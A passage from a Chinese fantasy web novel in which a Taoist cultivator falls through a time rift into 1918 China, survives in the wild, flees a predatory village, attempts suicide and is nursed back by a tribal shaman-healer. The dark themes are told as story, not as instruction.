师尊说要平安活着回来见她,她就快到了,可惜……自己等不到她了。 想不到最后不能活下来的人是自己。 傅清微的世界彻底陷入了黑暗。 饕餮一口吞掉傅清微,调转身形,向阵法里仅存的一个人扑了过去。 “折枝”一己之力对抗四大凶兽,被逼得使出全力,勉强在空隙间穿梭腾挪,击中凶兽的同时受了更多的伤。 她被穷奇重重地砸落在地,狼狈地避开梼杌和饕餮的夹击,正面是混沌的迎头痛击。 剧烈的地动里阵法在一寸一寸地塌陷,灵管局几十年的防护大阵毁于一旦。 刺目的白光笼罩了整个阵法。 * 灵管局大隐隐于市,设立在高新工业园区,占地面积广阔,和其他的公司距离隔得较远。 小陶是致远科技的普通打工人,这天下午五点左右,她正在和同事摸鱼聊天,商量待会下班吃什么,屏幕上的字忽然出现了重影,扭曲爬行。 她以为是自己最近加班加多了出现猝死的症状,连忙扶住了办公桌,扭头向同事求救:“救……送我去医院,好晕,我可能要死了。” 同事说:“你没事吧,是地震了。” 小陶这才发现面前的电脑桌在摇晃,她自己也在晃,所以头晕目眩。 “地震你怎么不跑啊?!”来自中部地区的小陶慌忙拿起手机和包,向门口冲去。 同事不紧不慢地收拾桌子。 “大震跑不掉,小震不用跑。”本地同事相当淡定,两手插兜跟在她身后排队出门,说,“你看大家都在挤在出口,跑快了也没用。” 小陶和同事二人随大流跑出了公司,在空旷的地方待着,地面仍旧在震,晃动得十分厉害。 小陶低头打开手机,纳闷:“怎么也没有个地震预警?” 其他跑到楼下的同事们纷纷上网查新闻发动态:【鹤市地震】 搜了一圈新闻和社交软件,发现就他们这一亩三分地地动了。 同事们:“?” 怎么回事?针对他们? 轰—— 三楼往上的楼层几扇窗户同时碎裂,无数碎片飞溅,坠落地面,众人纷纷抱头远离建筑物。 小陶抬眼朝对面的公司看去,她每次上班都会看到对面坐在门口的保安大爷,却很少见到她们公司的同事。这一眼可不得了,有个人手一扬,一团火焰冲着另一个穿黑色斗篷的女人飞了过去,斗篷还是战损风。 火焰落在那个女人身上,毫发无损。 小陶揉了揉眼睛:对面有人在练杂技!!! 都什么关头了! 等等,它们公司的楼原来是长这样吗?楼里陆续又冲出来好几个人,穿得好奇怪,怎么还有道士??? 灵管局的人和对面的凡人遥遥相望,打电话报了警。 灵管局的防护大阵毁了,结界没了,附近还有妖魔,必须立刻疏散凡人! 地动山摇一般强烈的震感过后,小陶等人犹豫要不要回去上班,附近的公检法单位集体出动,以震源中心危险为由紧急疏散园区群众,一刻容不耽搁。 小陶随人流懵懵懂懂地离开单位回家,一辆黑色SUV鸣笛开道逆行人潮,冲向了灵管局。 车子尚未停稳,岁已寒跳了下来。 “古师兄!” 岁已寒扑到灵管局门口半蹲下来,穿着少了一粒纽扣的保安制服的古道长脑袋低垂,一动不动地坐在椅子里,仿佛和平时一样睡着了。 他胸口有五个手指掏出的血洞,深色的制服染成了大片的黑色血污。 “大师兄——”岁已寒克制地哽咽了一声,立刻强迫自己检查他的伤口和周围的打斗痕迹。 没有缠斗痕迹,他是一击毙命死在对方手下。 岁已寒都可以在穆若水手下撑过几招,古师兄不可能一个照面不敌,除非……对方是熟人,出其不意地攻击了他。 即使这个猜测过于离奇,但岁已寒还是滑向了这个不可能的可能。 她摸了摸古道长的口袋,防护大阵的钥匙——那枚印不见了。魔头先杀了他,夺了印潜入灵管局,可是它为什么会知道内部的咒语? 真的会是熟人吗? 岁已寒站起来,看着面前毫无遮掩的灵管局,总局驻守的办事员朝她飞跑过来,上气不接下气道:“岁主任!刚刚阵毁的时候,魔头受了伤,邱老已经追上去了!” 办事员:“对了,我还听到邱老叫她的名字……” 岁已寒:“折枝!” 办事员:“折枝!” 岁已寒:“……”她的世界里最后一丝光都要暗下去了,她掐住了自己的掌心,才让自己眼前清晰了些。 办事员:“主任怎么会知道?” 岁已寒火烧眉毛:“先不提,傅清微呢?” 办事员沉默,带她往一个方向走去,那儿已经蹲了一道满头白发的身影。 穆若水捡起地上沾了血布满裂纹的玉佩,呆呆地看着出神。 岁已寒想起办事员在电话说的四个字:尸骨无存。 通身冰凉彻骨。 穆若水转过来,眼下两行鲜红的血泪,轻轻地问:“她人呢?” 第134章 傅清微去了哪里? 那日她被饕餮吞入肚中, 在它食道和胃袋中滑行,翻江倒海,天旋地转, 视野一片黑暗。 阵法彻底坍毁的那一刻, 巨大的力量使得法阵内天崩地陷, 无处不在的乱流穿梭,凶兽饕餮随之化为齑粉, 身在饕餮腹中的傅清微本该跟着烟消云散, 她身上佩戴的那块黄玉里忽然涌出一股柔和的白光,温和地包裹住了傅清微。 后背传来一阵剧痛, 傅清微似乎是掉在了什么地方, 接着她就昏过去了。 傅清微醒过来在一片陌生的林子里。 时间恰好是上午,天顶的太阳明晃晃,她躺在树叶堆里, 嗅到了新鲜的空气, 是活着的气息。 五脏六腑由于她的高空摔落仍隐隐作痛,痛正是存在的证明。 傅清微摸到了掌心湿润的叶子,眼角滑落一行喜悦的泪水, 她从地上侧身,手撑在地面艰难地爬了起来。 树林都大同小异,乍一看辨别不出路,傅清微靠坐在树下暂时歇息, 从身上摸出丹药服了两粒,养精蓄锐。 她的手机呢? 傅清微在袖子里摸了一圈, 没摸到熟悉的物件。 可能是摔下来的时候掉在哪里了吧?傅清微心想。 她在自己落下来的周围找了找, 没有发现小方块物体,也有可能在阵里就毁了, 傅清微暂时放弃了找手机,节省体力。 傅清微在阵中待的时间现实里只过去了十几分钟,昨晚却切切实实地在林子里躺了一夜。 她的肚子咕噜了一声。 前不着村后不着店,连个人影都没有,傅清微忍着肚饿往林子里走去,幸好她的罗盘还在,可以帮助她辨别方向,虽说看太阳也行,毕竟不够精确。 傅清微选了西边,决定一条道走到黑。遇山翻山,遇河过河,只要见到了人,借个手机打电话求救,她就能回去见到师尊了。 可她为什么会出现在千里之外(?)的林子里呢? 这里离灵管局究竟有多远? 傅清微毫无头绪,她一向既来之则安之,想不通的事先做了再说。傅清微走了一段路,树林里静得让人心慌,她一边眼观六路警惕着可能会出现的野兽,一边和后背的相思剑聊天。 还好剑也没有丢。 “相思?” 长剑毫无回应。 傅清微手向后握住剑柄,确认了它的存在,说:“相思?” 剑鞘里一片寂静。 傅清微抚了抚它的剑柄,自言自语地说:“你是不是累了呀?那你好好休息吧。” 傅清微从白天走到日落,粒米未进,连水也没有,嘴唇干得起了皮。马上又要到夜晚了,傅清微心里有些焦虑。 她以前在灵管局执行任务也有荒山野岭的环境,但物资配备充足,还有无所不能的师尊,对一个现代人来说,野外生存并不是必备技能。 傅清微的目标从从林子里出去,到先想办法填饱自己的肚子。 修道之人虽然抗饿,但是离辟谷的境界十分遥远,人饿着肚子会没有力气,修士也不例外。 到时候如果有猛兽袭击,她只能成为对方的盘中餐。 上哪儿找吃的呢? 林子里有片灌木动了一下,一只矫捷的野兔蹿了过去。傅清微反手伸向剑柄,她愣了一下神,野兔跑得无影无踪。 傅清微:“……” 没杀过野生动物,不熟练。 如果她因为活命吃了野兔,算紧急避险吗?应该不算犯法吧? 傅清微决定先找水源,再沿途看看有没有能吃的。 地势从低到高,傅清微在山林的缝隙间找到了一条小溪,甚至不能叫溪,是一个泉眼涌出地表,泉水从石头经过。 浅到傅清微的手掬不起来,她只能俯下身子用嘴去接水,不小心还会碰到冰冷的石头。 她一动不动地趴着喝了几分钟才解渴,抹了抹唇直起身来。 还是饿。 一只尾羽华丽的稚鸡进入了她的视线。 傅清微悄无声息地按住剑柄。 一道剑光闪过,树干上出现一道剑气留下的划痕,彩色羽毛在空中飞舞,稚鸡咯咯一声仓皇逃离。 傅清微:“……” 杀鸡用上牛刀,效果未必好。 傅清微回剑入鞘,忽然意识到哪里不对。她重新将剑横于面前,眼睛一分一毫地扫过,瞳孔收缩。 剑身覆盖的白霜不见了,从前出剑必有清鸣,如今平平无奇。 傅清微试着挥动了一下剑身,只有掠过空气的破风声,沉闷。 傅清微不懂品鉴宝剑,但在灵管局干过,同事有不少剑修,互相也会探讨切磋,这闷闷的声音…… 她的剑……好像变成凡铁了。 “相思!”傅清微的心脏慢慢爬上了恐慌,她不是怕相思失去灵性威力大减无法护住她,而是这段时间她早已将剑当成她倾诉的朋友,数次陪伴她于危难之中。 平平无奇的铁剑一言不发。 良久,傅清微把剑抱在怀里,低声说:“我一定会等到你好起来。” 傅清微认为是相思剑在摧毁阵眼时耗尽灵力,才导致它返璞归真,回到最原始的状态。 “这样算不算我陪你再成长一次。” 傅清微抬手擦掉了眼角的湿润:“不过,好相思,你要先帮我一个忙。” 她一剑掷出,势如流星,一只野兔应声钉在了树干上。 傅清微走到树下,连剑带兔子拔出来,拿在手上。 天色已晚,夕阳的最后一丝光芒被密林吞没,寒意随之侵袭。傅清微空有野兔,环顾四方却没有水源清洗,指望那一点泉眼的水,能洗到地老天荒。 赶夜路找水源不是个好方案,耗费体力不说,夜晚视线不佳,她连照明工具都没有,危险大于机会。 正在这时,她听到了林子里的鸟叫声。 倦鸟还巢,几只麻雀和她不认识的鸟回到了树上的窝里,脑袋一点一点地四处张望。 傅清微仰起脸,和麻雀的豆豆眼四目相对,她灵机一动。 十分钟以后。 傅清微上了树,看着鸟窝里嫩生的鸟蛋流口水,默默地在心里说了声对不起,留下一颗蛋,其他都揣兜里了。 她想顺便抓只麻雀,但是和兔子一样不好洗,总不能茹毛饮血。 傅清微爬了十来棵树,共获得鸟蛋十一枚。 她不好意思赶尽杀绝,也实在爬不动树了,要是师尊在这儿的话,上树简单多了,飞一下就上去了。 师尊也不用吃饭,她还会给自己做饭。 傅清微短时间内想了穆若水两次,连忙打住,柔情可以激发一个人的韧性,也可以磨灭一个人的意志。傅清微现在一门心思只想活下来走出去,想多了只会让她软弱。 傅清微好不容易东奔西走捡了些柴火回来,开始钻木取火。 木头都钻穿了。 ……根本打不着。 幸好她还是个会法术的道士,珍惜地取了一张符箓出来,点燃了符火,火堆倏然着了起来。 傅清微把鸟蛋烤了。 食材珍贵,她一个一个地分别烤,控制火候,吃了一顿“丰盛”的晚餐。虽然还是饿,总比肚里没东西好。 她找了个背风的地方,重新引燃一堆篝火,靠着石头睡了一觉。 失去了手机的现代人无法判断时辰,只能从太阳的高度和方向猜测是上午还是下午。 傅清微拎着她的兔子,天蒙蒙亮就出发,在第二天的中午找到了一条小溪,弯腰洗了把干净的脸,开始处理手中的兔子。 傅清微虽然入职灵管局一年,但她实际是个怕杀生的人,尤其是入口的食物,只能见到处理好端上来的。会因为蒸螃蟹在锅里爬动的声音而不吃螃蟹,蒸汽海鲜更是避而远之,不忍目睹。 有一次下厨她买了一斤活虾,菜谱的做法是掐头去虾线,傅清微闭上眼睛处理,虾在她手里挣扎着被拧掉头颅,去掉虾线的身体还在跳。 后来她就彻底告别了处理活物。 如果师尊在就好了。 傅清微用一根棍子穿透了兔子的身体挂起来,用手里的剑分离兔肉和兔皮。 开膛破肚,掏出内脏。 生理性的反胃熏红了她的眼睛,傅清微看着血淋淋的兔子,扭开了脸深呼吸。 她握剑的手神经质地颤抖,弯腰下来呕吐。 一只在森林里蹦跳,视频传上网会被说萌死了和超绝可爱的灰毛白手套野兔,剥完皮只有小小的一只,去头去脚,穿在棍子上。 傅清微又缓了好长一段时间,才走到溪边去清洗。 没有任何调料的烤兔子肉并不好吃,又干又柴,要不是傅清微年轻牙口好,轻易咬不动。 她面无表情地填饱了肚子,把剩下的带在路上。 边走边捕猎生火,依水而居。 如此十来天后,她终于见到了和千篇一律的林子不一样的风景。 她站在半山高的地方,看见了炊烟和农田,虽然和她自小印象里的有出入,但见到人烟的喜悦战胜了一切。 天空是那么深蓝,一望无际,面朝黄土背朝天的同胞是那样亲切。 傅清微几乎是瞄准村庄的方向跑下山的。 山路通往田间小路,傅清微边跑过来边扬声喊道:“大爷你好——” 粗布麻衣,穿着草鞋劳作的中年人转过来。 田间其他大大小小的女男老少也抬起头,看着突然出现的外乡人。 傅清微也看向他们,男多女少,男人里长头发短头发的都有,衣衫比她这个在山里待了半个月的野人好不到哪去,大部分都脏兮兮的,不是袖子缺半截,就是裤腿少一只。 虽然是夏天,穿得也太豪放了。 傅清微忍住心里的怪异,问道:“大爷我想问一下,出去应该往哪个方向走?” 庄稼汉说:“你要去哪儿?” 他从上到下打量了傅清微一圈,目光里流露出的东西让傅清微不太舒服。 好像并不把她当做一个人。 傅清微:“我去找我……家人。” 庄稼汉指了个方向,正是通往村庄的那条路,幽幽地说:“往那儿去。” 傅清微匆匆道了谢,自小路快步走了。 背后若有若无的视线飘过来,还能听见几句低低的议论声,口齿故意含糊得听不清。 在她走之后,几个挎着篮子送饭的妇女跟了上来,男人里也出了两个。 傅清微走进村庄里,入目都是土房子,没有钢筋混凝土的原生态村庄。 我国扶贫工作是没扶到这儿来吗?傅清微纳闷地心想。 这到底是哪儿? 西北高原?那不是该住窑洞吗? 穷山恶水出刁民的俗语傅清微听过,她打量着左右的土房子,围栏养的小鸡仔,院子里坐在地上的娃娃。 傅清微多看了两眼那孩子。 作为饱受互联网晒娃困扰的现代人,虽然丑孩多,但瘦巴巴跟猴儿似的少。这小孩面黄肌瘦,一副营养不良的样子,系在院子里,家人应该是都出去劳作了。 傅清微收回了视线,前方三米远的房子外边站了一个农妇打扮的女人,就在傅清微的必经之路。 她看傅清微,面带焦急,似乎有话要说。 傅清微提防着走了过去。 “你好?” 农妇迎面就说:“这世道你怎么敢一个姑娘家到处走,外面有土匪,很危险的。” 傅清微怀疑自己听了天书:“土匪?潶社会吗?” 农妇说:“什么黑啊白啊的,你快走吧。” 傅清微:“婶婶,您刚刚说外面有土匪,又让我快走?” 农妇说:“外面有土匪,村子里有豺狼。你一个落单的姑娘,村里不少打光棍的就等着吃你呢。看你面色白净,肯定是好人家的小姐落难,别折在这鸡窝里。” 她语速催得越来越快:“快走!往北走,北边暂时没有土匪,平时赶路避开人。世道乱,学会保护自己。” 傅清微听劝,立刻拔腿往外走,回头问道:“这里是哪儿?” 农妇说:“大槐村。” 傅清微又问:“哪个省哪个市?” “她就在那儿!往前面去了!” 跑动的脚步声在村尾响起来,农妇调转回屋,砰的把门关上了,插上门栓。 该说的她都说了,能不能跑掉看她的造化了。 上回被抓进村里的姑娘现在还在猪圈里关着呢。 扛着锄头和农具的壮年劳动力从农妇家门口跑了过去,农妇打开门开始操持院子里的家务,边干活边瞧着外面的情况。 十几位青壮很快从村口回来,嘴里骂骂咧咧。 “臭娘们,跑得挺快。” “都怪张伯,叫人叫慢了,现在倒好,暖被窝的又没了。” “轮得到你吗?” “轮流嘛,总有轮到我的时候。” 一行丧着脸的男人心照不宣地对视,又笑起来,往田间走去。 农妇看着他们的身后空无一人,为傅清微捏着的一把汗终于透了出去。 * 傅清微一路向北,从一片大山扎进另一片大山。 许是运气好,或者走的路太偏了,她没有遇到农妇口中的土匪,也始终对对方的话存疑。 土匪??? 这两个字在现代人的生活里早就消失了。难道土匪是一个暗号或者代称? 傅清微沿途只经过了那一个村庄,很多事没法多方求证,风餐露宿又一个月后,她面前的世界终于一马平川,也天塌地陷。 没有高楼大厦,没有汽车在路上跑,有的只是驴车,骡子,极少的马车,和许多衣衫褴褛拖家带口逃难的人,人们的脸上没有希望,只有痛苦和麻木。 她眼前看到的是有色彩的灰,当它褪去了颜色变成黑白,就是网上随处可见的民国老照片。 傅清微忽略自己身上的馊味,跟随人流进了城。 路边随处可见捧碗要饭的大人儿童。 “行行好吧,行行好吧。” “三天没吃饭了,大人。” “给一口吃的吧……”母亲怀里抱着快饿死的孩子,伸出碗向路人磕头。 比起后世的花样乞讨,他们瘦脱相的脸和衣不蔽体的穿着足以冲击现代人的认知。 傅清微感觉自己站在了人群里,又仿佛不在尘世。 她必须把自己的意识暂时抽离,才能让自己在灾难般的场景里支撑下去。 傅清微把自己袖子里晒干的肉干分了一些到母亲的碗里,沿街往前走,脚步沉重得像灌了铅。 “仙姑,仙姑?” 傅清微慢半拍地回过头,不远处一位馄饨摊的摊主正看着她,傅清微反手指了指自己。 摊主:“仙姑要不要吃碗馄饨?” 傅清微诚实道:“我没有钱。” 摊主露出友善的笑,说:“不值几个铜元,我请仙姑吃。” 傅清微不相信有白吃的午餐,虽然她确实很久没吃过热乎饭了。 摊主解释说:“我全家都信道,我母亲是虔诚的居士。” 傅清微低头看了看自己的道袍,她在外没有洗澡的条件,只能勉强用水洗脸和手,但她这身衣服有两层,道袍在河里洗过,虽然洗不干净,可是外表捯饬得还算整齐。 至少不影响别人看出来她是个道士。 傅清微坐在了馄饨摊前,说:“谢谢老板。” 馄饨汤上飘着碧绿的葱花,碗底有虾米,傅清微喝了一口鲜美的汤,擦了擦眼泪,从袖子里取出自己的肉干,蘸汤泡软了吃。 摊主见状,去对面买了张酥饼给她。 傅清微端起碗把汤都喝完了,问摊主:“老板,现在是哪一年?” 摊主在给客人端馄饨,回头说:“民国七年了。” 民国七年,1918。 离最近的历史书上的五·四还有一年,离她生活的2030年还有一百一十二年。 傅清微:“老板,这里有什么地方招人吗?” “招人啊……” 摊主为难地看着她,目光扫过沿街乞讨的流民。 如果养家糊口的营生那么好找,就不会有这么多流离失所的人了。 傅清微:“或者附近有道观吗?我去看看能不能挂单。” 摊主说:“城东就有一个望仙观,不过世道乱出家的人很多,都想混口饭,未必接受挂单,仙姑可以去试试。” 傅清微:“谢谢,你要黄麂肉干吗?” 摊主摇头笑笑,给她带上了两张饼。 傅清微去了望仙观,果然不接受挂单,出家的人满为患,和尚道士都一样,和尚还要剃光头,道士就凭一张嘴出家,零成本。没有正经宫观师承的,一律视为野道士。 傅清微在城里乱逛,存的肉干足够她支撑几天,她也找了零工的活,有身手,勉强能吃上饭,养自己一个养得起。 可她还是自己选择走上了绝路。 那日阵破,巨大的力量导致了空间和时间扭曲,乱流环绕在她的身边。经过了一个月,她终于确认自己是掉入了时空罅隙里。 她回到了1918年。 然而她的家不在这里,她等的人也不在这。 她不是要活在一百多年前的世界。 傅清微得知真相后,万念俱灰,她原路返回掉落地方的附近,找了一处断崖。 毫不犹豫地纵身跳了下去。 * 如果这是一个幻象迷阵,她的死亡或许是真的死亡,也可能是破阵的契机。 如果她真的在1918年,她身无挂碍,死了也是一种解脱,好过生不如死。 傅清微闭上双眼,无处不在的风包围了她,像是穆若水的怀抱,冰凉舒适。 傅清微的眼角滑落一串泪水。 好不容易活下来,可惜还是不能再见她。 傅清微彻底失去了意识。 朦朦胧胧中,她看到了师尊,从一片白光走向她走过来,在她不远处站定,伸出修长柔腻的手:“清微。” 傅清微于白茫中和她对视,迫不及待地朝她跑过去。 “师尊!” 穆若水却转身离开了,只留给她一个背影。 “师尊……别走!” 傅清微猛地坐起来,一阵剧痛袭来,几乎让她粉身碎骨,她没能坐起来,一只手扶着她又躺了回去。 傅清微睁开湿润的眼睛,简陋的土房子,砖石垒的床,她还活着,她怎么还活着。 床前的女性老人温和地看着她。 傅清微心灰意冷到看见对方的面孔画满了诡异的黑色图腾都情绪毫无波动,放在以前她早就吓一跳,然后迫不及待地和穆若水分享新见闻。 她又想她了,她放任自己无时无刻地想她。 “现在是哪一年?” “不知道。”老人说,“听说皇帝前几年没了,现在的皇帝是大总统。” “这是哪儿?” “依布村。” “你救了我?” “嗯,你身上多处骨折,需要好好休养。” “你不该救我。”傅清微把脸转向床内,泪水滚落。 “救都救了,先把药喝了吧。”老人很是自洽,回头冲院子喊了一声,“小雪,端药进来。” 她对傅清微促狭一笑,说:“是她发现的你,你要赖就赖她。” 傅清微:“……” 怎么会有把锅甩给小孩子的人啊。 老人叮嘱:“小雪每天都来看你,你对她脸色好一些。” 傅清微:“嗯。” 她不至于迁怒一个小孩子。 事实上她谁都不怨,只怨自己,怨她跳崖没死成,下次换个地方死,别脏了好心人的地方。 名叫小雪的女孩两手端着药碗进来。 她身量不高,约莫只有四岁的样子,脖颈和双手露出来的皮肤很白,白到透冷。 至于她的脸,也绘了一些彩色,遮掩了容貌。大约是部族习惯,傅清微看不懂画的什么,左右对称挺好看的。 喝过石娭毑的“蛇羹”以后,傅清微对黑乎乎汤药的耐受度有了飞跃的提升,她坐不起来,小雪手小,一只手端不稳,把药碗放在床沿,一勺一勺地喂她喝。 傅清微:“谢谢。” 小雪:“……” 傅清微:“……” 小孩挺高冷。 听说她每天来看自己,她还以为是活泼暖心小太阳,原来是个小冰坨子。 这样更好,省得她还要和话多的小孩社交。 小雪喂完她汤药就端走了,傅清微全程被冷落,忍不住在背后叫了一声她的名字。 女孩转过身看了她一眼,精致的容貌掩在彩绘下,只露出一双漆黑的冰雪般的眸子。 云中月,松上雪。 傅清微仿佛落入明月松间,那道温柔的月光再一次披在了她的身上。 第135章 她的眼睛好像一个人。 傅清微晃了一下神, 自嘲地收回视线,直眼看向面前的房顶。 她大概是想穆若水想到癔症了,见到一双瞳色乌沉的眼睛就联想到师尊。 别人就算恍惚“宛宛类卿”, 也是对着年纪差不多的, 怎么自己会对个小孩发呆。 一定是病糊涂了。 傅清微干脆闭上眼睛。 小孩身量轻的脚步声立刻出去了。 ……对她反正也没什么留恋。 井水不犯河水, 只有喂药的交情。而且她不是一日三餐地来,只来中午这一趟, 早晚不管。 交情若有若无的。 傅清微对脸上纹黑色图腾的老人说:“她是您孙女?” 老人回:“不是, 她闲得无聊到我这玩。” 傅清微从断崖跳下来后,睁眼就在这屋子里, 大门迈不出, 外面长什么样都不知道,更别提知道村子里人际关系了。 她不是很想知道,因为不想留下牵绊, 她晚点还是要找个地方去死的, 但又确实好奇这个奇怪小孩。 于是挑挑拣拣地问:“她一直这么高冷……我的意思是沉默吗?” 老人说是。 傅清微:“……” 她问什么老人答什么,绝不多回答一个字,深暗吊胃口之道。 傅清微差点给她吊死。 她大喘了一口气, 把话憋了回去。 老人说:“张嘴。” 给她喂药。 就这么一日一日地吊着,傅清微的伤势也慢慢好起来,坐到了门口。 虽然老人不说,但傅清微闻见她身上有草药香, 房间里随时可见药材,偶尔会有人来找她, 请她占卜, 问这次进山打猎的吉凶,问重病的孩子能不能活。 结合她和村民脸上不太一样的图腾, 傅清微猜她是村里的祭司,这是一个古老的部族聚居地。 有人从山里回来摔断了腿抬进来,老人对着他鲜血直流的腿念了一段咒,延缓伤情,再给他接骨上药。 她不仅是祭司,还是个巫医。 傅清微不知道自己是运气好还是运气差,这种深山老林里竟然能让她遇到现代绝迹的巫医,进了鬼门关的一脚都被拽了回去。 老人的名字叫祝,傅清微在心里称她为巫祝。 傅清微不是自己坐到门口的,她是被抬到门口的,她现在的身子只允许她被动地接受一切安排。 巫祝让她坐门口透透气,顺便帮她看家。 离开的时候傅清微和她大眼瞪小眼,试图用眼神让她把自己抬回屋里。 她不想见光。 巫祝才不管她,背着竹筐进山采药去了。 傅清微像个门神似的坐在门前,幸好巫祝的家有个小院子,想要观赏她得移步院内。 “巫祝在家吗?” “不在。” 这不,傅清微就又劝走了一个。 有人不听劝,直直地从院门跑进来,跟进自己家似的。 是那个小不点儿。 傅清微原样回一句:“她不在家。” 小雪直勾勾地盯着她。 她那一双肖似穆若水的眼睛瞳仁深黑,小孩子眼黑又多,怪渗人。 傅清微当然不会被吓到,问她:“你是不是对我有意见?” 小雪迟疑了半天,摇头。 傅清微坐在外头晒着阳光,阴暗的情绪也少了许多,主动搭话:“那你怎么每天不理我?” 小雪抬起两只手,似乎想比划什么,然后她指了指自己的喉咙。 傅清微:“家里人不让你说话?” 小雪依旧摇头。 傅清微沉默一刻,轻声说出那个不想的猜测:“你是哑巴?” 点头。 傅清微说:“对不起。” 小雪:“?” 傅清微一颗柔软的心浸满了愧疚,说:“对不起,我不知道你不能说话,我以为你是故意不理我的。” 小雪疑惑眨了眨眼睛,然后认真点了点头。 按照常理推测她是接受道歉的意思,但不知为何傅清微见她瞳仁黑亮,小脸严肃,无师自通地体悟到了她的本意:“你是说你就是不想理我?” 小雪用力地点了一下头。 傅清微的心被小孩戳烂,她说:“你走。” 小雪立刻跑掉,头也不回。 气得傅清微差点旧伤复发。 小屁孩白长了一双漂亮的眼睛,有几分像师尊是她的福气! 没有半分师尊的好性格! 再理她自己就是狗! 傍晚巫祝采药回来了,傅清微晒一天太阳晒得脸疼,终于能回屋了,可太阳也下山了。 她坐在屋里看巫祝处理药材,问:“那个脾气烂的小孩是哑巴,你怎么不给她治一下?” 巫祝闻言笑起来:“哪个脾气烂的小孩?” 傅清微往门口张望了一下,确认小屁孩不在,才道:“小哑巴。” “她有名字。” “小雪。行了吧?” “她脾气不烂。” “你说什么是什么,你倒是给她治病啊。” “治过了,治不好。”巫祝捣着药杵,过了几秒,她停下来想了会儿说,“这孩子打生下来就不会哭,喜怒哀乐的情绪都淡淡的,几乎没有,和别的小孩不一样。” 傅清微怔了一下。 道医不分家,她看过几本古籍,这种情况叫情志不全,七情六欲缺失,通俗的说就是情根没长出来。 笃笃笃—— 巫祝继续捣药:“她这种性格没朋友,所以才天天往我这跑。” 傅清微脱口道:“那她岂不是会被村里的其他小孩欺负?” 巫祝说:“这不会,她娘是村长。” 傅清微:“……” 她就不该嘴快这一句!无谓泛滥的同情心! 巫祝道:“你可以和她做朋友,我看她挺喜欢你的,每天来你这点卯。” 傅清微:“她性格超烂,我吃饱了撑的和她做朋友。” 她才不要和这里的人做朋友呢,别说小屁孩。 巫祝哈哈大笑,指了指她身后。 性格超烂的小朋友正在门口听着。 旁人听到背后有人说坏话肯定会生气,小雪只是静静地看着她,把刚宰杀的新鲜獐子腿递到傅清微手中。 傅清微现在的手就是个装饰品,根本接不住,夸差砸进了她怀里,带着断口处的血都染在身上。 小孩来去如风地跑走了。 傅清微:“……” 巫祝:“我就说她喜欢你。” 傅清微:“你没看出来她在报复我?” 巫祝:“那也挺好啊,她竟然会生气?” 傅清微:“这种时候你是不是该关心你的病人,请把獐子腿拿走。” 巫祝伸手拿走今晚的加餐:“早点好起来帮我干活,一天到晚白吃白喝。” 傅清微道:“你把我扔进山里自生自灭好了。” 巫祝路过她往厨房走,说:“你想得美,你用了我多少药材,不还上别想走。” 养病的生活太无聊了,傅清微这一年三天两头卧床,现代还能玩手机玩老婆,回到一百多年前什么也没有,连最开始的蓬莱观都比这有意思。 傅清微手能动以后,就被巫祝派去分拣处理草药,坚决不让她游手好闲。 傅清微知道农耕社会的劳动力有多宝贵,也知道乱世多养活一口人多不容易,即使战火还没有殃及此处。 虽然依旧不想活,但是积极上工,天选打工人,每一口饭都不白吃人家的。 没几天傅清微就分清了部分常见的草药,和它们对应治疗的病症。傅清微每天只做一件事,精神格外地专注,学得也很快,没注意到巫祝在背后看着她放光的眼神。 “麻黄。”傅清微抬头扫了一眼,低下头漫不经心地念:“发汗解表,宣肺平喘。” 老百姓最多见的病症就是头疼脑热,感冒发烧什么的,巫祝最常开的也是这类草药。 “这株呢?” “千根草,也叫地锦草。全草入药,清热利湿,主治腹泻疟疾。”* “外用怎么样?” “敛疮止痒。” “常用药方有哪些?” 傅清微打断她,说:“别打我主意,我伤好了就离开这里。” 巫祝道:“我是怕你整理药材给我放错地方。” 傅清微随她去,不和她争辩。 小雪在边上看着傅清微干活,偶尔帮她将筐里的药材送到她面前——傅清微还走不了路。 傅清微一看她那双眼睛就心软,而且她说对方性格坏是想强迫自己狠下心肠,先天情志不全的人,如果后天情根补足,性情易生偏执。 巫祝说她没有朋友,那注定要走的傅清微更不能成为她的朋友。 傅清微收回视线,不冷不热。 小雪的脚就站在她身边,一双冰雪漆黑的眸子落在她身上,从上到下。 傅清微感觉自己的头发被轻轻地摸了一下,软软的一股香气靠近她。 傅清微随口逗她:“你占我便宜?” 小雪:“?” 傅清微消声,恨自己嘴贱,说好的不理她。 幸好她是个小哑巴,傅清微不说话话题就没办法继续。 晚上她又送来一只狍子腿。 巫祝在门口和她交谈:“昨天不是送过了吗?” 身为祭司她不用去耕种和捕猎,村里自然会供养她最好的食物,但是也有定时,昨日送过,今日应该不会再有鲜美的腿肉。 小雪指了指屋子里。 巫祝:“给她的?” 小雪点头。 巫祝:“你给的还是你娘让你送的?” 小雪指指自己。 巫祝:“你喜欢她?” 小雪歪着脑袋想了半天,不明白喜欢是什么意思,她抬手一字一字比划出一句话。 她、是、我、的。 小雪静静地抬头凝视老人,年幼的眼神丝毫不掩饰她冰冷的占有欲。 巫祝:“好好好,哈哈哈。” 小雪留下狍子腿回家了,巫祝的哈哈声一直跟着她进了屋内,她把狍子腿亮给傅清微看,说:“我就说她喜欢你。” 将二人对话——巫祝的单口听得清清楚楚的傅清微道:“只有你一张嘴在说。” 巫祝:“这回我真没骗你。” 她可从没见过那孩子露出那样的眼神。 为什么呢? 就凭傅清微有几分姿色?嗯,确有几分貌美。 巫祝把她推去厨房,边煮饭边让她陪自己聊天,说:“你以前是干什么的?随身带把剑。” 傅清微说:“我是道士。” 巫祝:“我是巫医。” 傅清微:“我猜到了。” 巫祝直接匕现:“要不要跟我学医术?” 傅清微:“休想!” 巫祝说:“你是道士,十道九医,为什么不学?祝由术也不想学?” 傅清微:“……” 巫祝可没错过她每次用祝由术时傅清微都会一直盯着她,眼睛里闪动着不寻常的神采,直到浮现泪光扭过头去。巫祝也有思念的人,明白她触景伤情。 她不管她想起了谁,只要能打动她,先徐徐图之。 傅清微沉默片刻,问:“你真的会教我祝由术吗?” 巫祝:“吾向鬼神起誓,绝无虚言。” 傅清微:“说好了,我只学祝由术,其他的不学。” 巫祝加水,啪,把锅盖一盖:“成交。” 祝由术的“祝”通“咒”,和玄门的咒语同源,最远可溯上古。 《古今医统大全·卷之一》曰祝由术是:“人有疾求医,但北面而咒,十言即愈。”玄门也有“咒枣术”,将咒过的枣给病人服用,百病全消。 二者都是不需施针用药,用言语的力量治病。 祝由术早已失传,傅清微入灵管局以后见到不少玄门中人,没一个会和穆若水一样使用祝由术的,可见传承之秘。 不知道她又是从哪儿学来。 傅清微成了巫祝的实习生,贴身和她学习祝由。 